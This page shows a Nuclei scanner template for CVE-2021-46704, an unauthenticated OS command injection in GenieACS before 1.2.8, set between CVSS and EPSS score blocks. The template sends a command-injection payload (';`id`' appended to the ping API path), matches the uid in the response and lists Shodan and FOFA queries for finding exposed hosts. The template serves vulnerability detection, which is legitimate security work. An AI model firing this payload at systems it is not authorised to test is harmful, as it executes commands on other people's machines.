Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-46704
HistoryJun 21, 2023 - 8:03 p.m.

GenieACS => 1.2.8 - OS Command Injection

2023-06-2120:03:09
ProjectDiscovery
github.com
11
genieacs
command injection
critical
cve-2021-46704
unauthenticated
vulnerability

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

0.949 High

EPSS

Percentile

99.3%

In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
id: CVE-2021-46704

info:
  name: GenieACS => 1.2.8 - OS Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability.
  reference:
    - https://twitter.com/shaybt12/status/1671598239835906058
    - https://github.com/advisories/GHSA-2877-693q-pj33
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46704
    - https://github.com/genieacs/genieacs/commit/7f295beeecc1c1f14308a93c82413bb334045af6
    - https://github.com/genieacs/genieacs/releases/tag/v1.2.8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46704
    cwe-id: CWE-78
    epss-score: 0.94392
    epss-percentile: 0.99153
    cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: genieacs
    product: genieacs
    shodan-query:
      - http.favicon.hash:-2098066288
      - http.html:"genieacs"
    fofa-query:
      - body="genieacs"
      - icon_hash=-2098066288
  tags: cve2021,cve,genieacs,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/ping/;`id`"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "uid=([0-9]+)"

      - type: status
        status:
          - 500

    extractors:
      - type: regex
        regex:
          - uid=(\d+)\((\w+)\)
        part: body
# digest: 4b0a00483046022100c30ada079bc3b6c6faabb2ae19304dc2eefaf203a8a629d7cebcb4d07740ea5e022100c4961255633d9d7a2725a44b252f17eb7a424bf784222ec1181cc43e4a5d3478:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

0.949 High

EPSS

Percentile

99.3%